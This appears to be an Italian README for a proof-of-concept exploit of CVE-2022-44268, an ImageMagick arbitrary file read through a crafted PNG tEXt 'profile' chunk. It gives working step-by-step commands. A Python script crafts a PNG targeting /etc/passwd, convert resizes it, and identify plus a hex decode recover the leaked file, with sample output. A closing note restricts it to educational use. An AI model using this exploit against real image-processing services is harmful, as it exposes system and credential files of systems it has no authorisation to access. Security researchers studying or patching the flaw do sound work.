
PoC della lettura arbitraria di file di Imagemagick
Questo repository contiene una Proof of Concept (POC) per una vulnerabilità in ImageMagick (v. 7.1.0-49), una libreria di manipolazione di immagini open-source ampiamente utilizzata. La vulnerabilità consente a un attaccante di incorporare il contenuto di un file arbitrario in un'immagine ridimensionata quando ImageMagick analizza un file PNG.
Quando ImageMagick esegue operazioni come il ridimensionamento su un file PNG, può includere il contenuto di un file di sistema, a condizione che il binario magick abbia i permessi necessari per leggerlo. Questa vulnerabilità sorge a causa della gestione errata dei chunk testuali all'interno dei file PNG.
Un attaccante può sfruttare questa vulnerabilità creando un file PNG o utilizzandone uno esistente e aggiungendo un tipo di chunk testuale (tEXt). Questi chunk sono costituiti da una parola chiave e una stringa di testo. In questo caso, se la parola chiave corrisponde alla stringa "profile" (senza virgolette), ImageMagick interpreterà la stringa di testo associata come un nome di file e tenterà di caricarne il contenuto come profilo grezzo. Di conseguenza, quando l'immagine ridimensionata viene scaricata, conterrà il contenuto del file remoto specificato dall'attaccante.
Per maggiori informazioni, consulta questo articolo di MetabaseQ.
Per sfruttare Imagemagick, genera un png malicioso:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
Poi, esegui un'operazione di ridimensionamento con convert:
convert output.png -resize 50% leak.png
Infine, ispeziona l'immagine leak e converti Raw profile in esadecimale:
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
Nota: Questa POC è intesa esclusivamente a scopo educativo e informativo. Assicurati di avere i permessi e l'autorizzazione legale necessari prima di testare o utilizzare questa POC su qualsiasi sistema.